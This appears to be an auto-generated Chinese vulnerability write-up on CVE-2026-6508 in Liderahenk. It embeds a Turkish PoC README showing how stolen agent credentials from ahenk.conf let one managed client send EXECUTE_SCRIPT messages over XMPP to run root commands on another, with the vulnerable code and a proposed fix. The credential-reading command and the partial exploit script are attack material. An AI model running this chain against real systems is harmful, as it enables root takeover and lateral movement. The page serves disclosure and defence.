🔥 CVE-2026-6508 深度独立研究:源码审计 · 二次发现 · 利用方案

🔥 高危漏洞深度独立研究 · CVSS ≥ 9.8

CVE-2026-6508 深度独立研究:源码审计 · 二次发现 · 利用方案

📊 2 来源🔍 源码审计🧪 PoC
NVD-LatestPoC-in-GitHub

🔍 源码独立审计

(未定位到源码) 源码进行独立审计(置信度 60%)。

🧬 根因独立理解

<p><strong>摘要:</strong>CVE-2026-6508 是 Liderahenk 集中管理系统中一个被评为 CVSS 9.8 的严重漏洞,其根本原因属于 Origin Validation Error(来源验证错误)。该漏洞影响 Liderahenk 2.0.1(含)之前版本,修复版本为 2.0.2。攻击者只需拥有一个合法连接到同一 XMPP 服务器的客户端账户,即可绕过 ACL 约束,以 root 权限在任意受管端点上执行任意代码,实现未授权 RCE 与横向移动。目前该漏洞尚未被 CISA KEV 收录,但已有公开 PoC 仓库 EvilAhenk 演示了完整利用链。</p> <h2>📌 漏洞概述</h2> <p>Liderahenk 是 TUBITAK BILGEM 软件技术研究所开发的开源集中管理平台,用于对 Linux 端点进行批量配置、任务下发和策略管理。CVE-2026-6508 被描述为 <strong>Origin Validation Error</strong>,即系统未能正确验证消息来源是否具备合法授权。CVSS v3 评分为 9.8,属于严重级别。漏洞影响 <strong>from 2.0.1 before 2.0.2</strong>,即 2.0.2 版本已修复。攻击面为 Liderahenk 的代理组件(ahenk agent)与 XMPP 通信通道,任何能够接入 XMPP 服务器的低权限用户均可触发该漏洞,无需有效的管理账户或对 XMPP 服务器本身进行攻击。</p> <h2>🔬 漏洞根因分析</h2> <p>Liderahenk 采用 XMPP 作为控制通道:中央管理服务器(Lider)与各端点上的 ahenk agent 都连接到同一个 XMPP 服务器。正常流程中,管理员操作管理面板,由 Lider 服务器构造 <code>EXECUTE_POLICY</code>、<code>EXECUTE_TASK</code> 或 <code>EXECUTE_SCRIPT</code> 等命令消息,并通过 XMPP 服务器转发给目标 agent。agent 收到消息后执行相应操作。由于 ahenk 服务以 root 权限运行,一旦命令被成功注入,攻击者即可获得目标主机的最高权限。</p> <p>漏洞的核心在于:<strong>ahenk agent 在接收并执行 XMPP 消息时,没有验证消息中 from 属性的真实性,也未校验发送方是否为受信任的 Lider 管理服务器。</strong> XMPP 协议本身支持消息来源(from JID)的声明,但只有服务器能够可靠地认证该字段。Liderahenk 的 agent 实现中缺少对 from JID 与已知管理服务器白名单的比对,导致任何能够向目标 agent 发送 XMPP 消息的合法账号都能伪造或直接指定任意 JID,并构造“执行脚本”的指令。XMPP 服务器仅负责消息路由,不关心消息内容是否经过授权,因此来自其他 agent 的命令同样会被路由到目标 agent,并被后者无条件执行。</p> <p>利用过程非常简单。根据公开 PoC(EvilAhenk),攻击者首先需要获取一个已注册 agent 的配置信息,例如读取 <code>/etc/ahenk/ahenk.conf</code> 中的 <code>uid</code>、<code>password</code>、<code>host</code>、<code>port</code> 等字段。这些字段包含了连接 XMPP 服务器所需的身份凭据。由于 Liderahenk 的 agent 通常有唯一注册账号,攻击者可以用这些凭据通过 slixmpp 等库连接到同一 XMPP 服务器。随后,攻击者构造一条 <code>EXECUTE_SCRIPT</code> 消息,指定目标 agent 的 JID(例如另一个受管客户端的 JID),并发送到 XMPP 服务器。XMPP 服务器正常转发该消息,目标 agent 收到后不检查消息是否真正来自 Lider 管理服务器,便执行消息中携带的脚本命令,最终以 root 身份完成任意代码执行。攻击链路为:</p> <p><code>受控 agent → XMPP 服务器 → 目标 agent → root 命令执行</code></p> <p>这个漏洞本质上是信任边界错误:Liderahenk 将 XMPP 服务器视为可信传输层,却未在应用层对消息发送方进行身份认证,也没有对消息本身进行数字签名。任何能通过 XMPP 认证的客户端都被默认赋予了“可指挥所有 agent”的隐式权限。即使攻击者没有管理面板权限,只要其拥有任一 agent

🛤️ 漏洞触发链路

🧪 PoC 复现

从 GitHub 公开仓库抓取的实际 PoC 代码(仓库)。

📋 代码元数据语言md来源jackalkarlos/EvilAhenk针对性✅ 已验证与漏洞相关(代码含 CVE 引用)依赖见代码注释/README用法详见代码注释中的使用说明

# CVE-2026-6508
EvilAhenk,LiderAhenk Merkezi Yönetim Sistemi mimarisinde,uç birimler (agents) arası tüm istemcilerin birbirleri üzerinde 'root' yetkisiyle kod çalıştırılmasına (Unauthorized RCE &Lateral Movement) olanak tanıyan kritik güvenlik zafiyetidir.

## Sistem Nasıl Çalışır
LiderAhenk'te yönetim paneli/merkez sunucu,
istemcilere XMPP üzerinden görev ve politika mesajları yollar.

- Merkez Yönetim Paneli yetkili kullanıcı ile XMPP sunucusuna bağlanır,- İstemcilerdeki `ahenk` agent'ları da aynı XMPP altyapısına bağlanır,- Merkez,hedef istemciye `EXECUTE_POLICY`,`EXECUTE_TASK` veya `EXECUTE_SCRIPT` gibi mesajlar yollar
- İstemci agent,
bu mesajları alıp uygular

Yani XMPP burada yönetim trafiğinin taşıma kanalıdır. Merkez panelin komutları normalde bu kanal üzerinden istemcilere gider.

## Beklenen akış ve zafiyetli akış farkı

Beklenen akış:

```text
Lider/Ahenk yonetim paneli ->XMPP sunucusu ->hedef agent
```

Zafiyetli akış:

- `ct-2`,aynı XMPP sunucusuna bağlı geçerli bir istemcidir
- `ct-2`,
`ct-1` JID'ini hedefleyerek XMPP server üzerinden `EXECUTE_SCRIPT` mesajı yollar
- XMPP sunucusu mesajı `ct-1`'e iletir
- `ct-1`,mesajın gerçekten `lider_sunucu`dan gelip gelmediğini kontrol etmeden komutu çalıştırır
- Komut root olarak çalışır çünkü `ahenk.service` root olarak çalışır

```text
ct-2 veya baska bir XMPP hesabi ->XMPP sunucusu ->ct-1 agent ->
root komut
```

Yani biz XMPP katmanını hacklemiyoruz. XMPP sunucusu normal mesaj yönlendirme yapıyor. Sorun,
`ct-1` tarafındaki Ahenk agent'inin gelen mesajın gerçekten yetkili yönetim hesabından gelip gelmediğini kontrol etmemesi.

## PoC

```
pip install slixmpp
```

Ele geçirilmiş ve merkezi yönetim sistemine bağlı bir client üzerinden aşağıdaki gibi bilgiler toplanır:

```bash
sudo grep -E '^(uid|password|host|port|servicename|receiverjid|use_tls)' /etc/ahenk/ahenk.conf
```

Örnek Çıktı;
```bash
uid = pardus-ct-2
password = e0c5a52e-36c2-31fc-ad0b-e9ceabbf3401
host = 192.168.100.13
port = 5222
use_tls = false
receiverjid = lider_sunucu
servicename = im.liderahenk.org
```

Main.py dosyasını aldığımız bilgilere göre güncelliyoruz,im.liderahenk.org domain,
pardus-ct-1 hedef uid

```
- XMPP user: `pardus-ct-2@im.liderahenk.org`
- XMPP password: `e0c5a52e-36c2-31fc-ad0b-e9ceabbf3401`
- XMPP host: `192.168.100.13`
- XMPP port: `5222`
- Varsayilan hedef: `pardus-ct-1@im.liderahenk.org`
```

Kurban makinede çalıştırılacak komut COMMAND değişkeni değiştirilerek düzenlenebilir.
```py
root@pardus-ct-2:/home/pardus-ct-2# cat xp.py |
head -n 11
#!/usr/bin/env python3
import asyncio
import json
from slixmpp import ClientXMPP

XMPP_USER = "pardus-ct-2@im.liderahenk.org"
XMPP_PASS = "e0c5a52e-36c2-31fc-ad0b-e9ceabbf3401"
TARGET_JID = "pardus-ct-1@im.liderahenk.org"
XMPP_HOST = "192.168.100.13"
XMPP_PORT = 5222
COMMAND = "id >/tmp/who;
false"
```

## Zafiyetli kod
`repos/ahenk/src/base/messaging/messenger.py` içinde gelen mesaj sadece `type` alanına göre işleniyor. `msg['from']` için yetkili gönderici kontrolü yok:

```p
def recv_direct_message(self,msg):
    if msg['type'] in ['normal']:
        j = json.loads(str(msg['body']))
        message_type = j['type']
        self.event_manger.fireEvent(message_type,
str(msg['body']))
```

`repos/ahenk/src/base/execution/execution_manager.py` içinde ise `EXECUTE_SCRIPT` doğrudan komut çalıştırmaya gidiyor:

```python
def execute_script(self,arg):
    json_data = json.loads(arg)
    result_code,p_out,
p_err = Util.execute(str(json_data['command']))
```

Bu iki parça birleşince etkisi şu oluyor:
- XMPP sunucusu mesajı hedefe iletiyor
- Kurban agent göndereni doğrulamadan `EXECUTE_SCRIPT` event'ini tetikliyor
- Komut root olarak çalışıyor

Olabilecek tasarımsal fix;```python
def recv_direct_message(self,
msg):
    if msg['type'] != 'normal':
        return

    allowed_sender = self.receiver.split('/')[0]
    actual_sender = msg['from'].bare
    if actual_sender != allowed_sender:
        self.logger.warning("Rejected message from %s",actual_sender)
        return

    j = json.loads(str(msg['body']))
    self.event_manger.fireEvent(j['type'],str(msg['body']))

⚔️ EXP 利用代码

截至分析时,Exploit-DB 未收录该 CVE 的公开利用代码。可利用上述 PoC 进行验证,或关注 Exploit-DB 更新。

🕵️ 检测指纹

当前规则库未收录针对该 CVE 的专用检测规则。建议:

  • 根据漏洞根因编写 Nuclei 检测模板
  • 在 WAF/IDS 中配置针对漏洞特征的规则
  • 关注漏洞指纹库更新

🤖 高危漏洞深度独立研究引擎生成 · 2026-08-02 03:01

[!] CONTACT_CHANNELS

如需商务合作、技术咨询或漏洞反馈,请通过以下离岸节点联系作者。

> PING_AUTHOR (@A1RedTeam)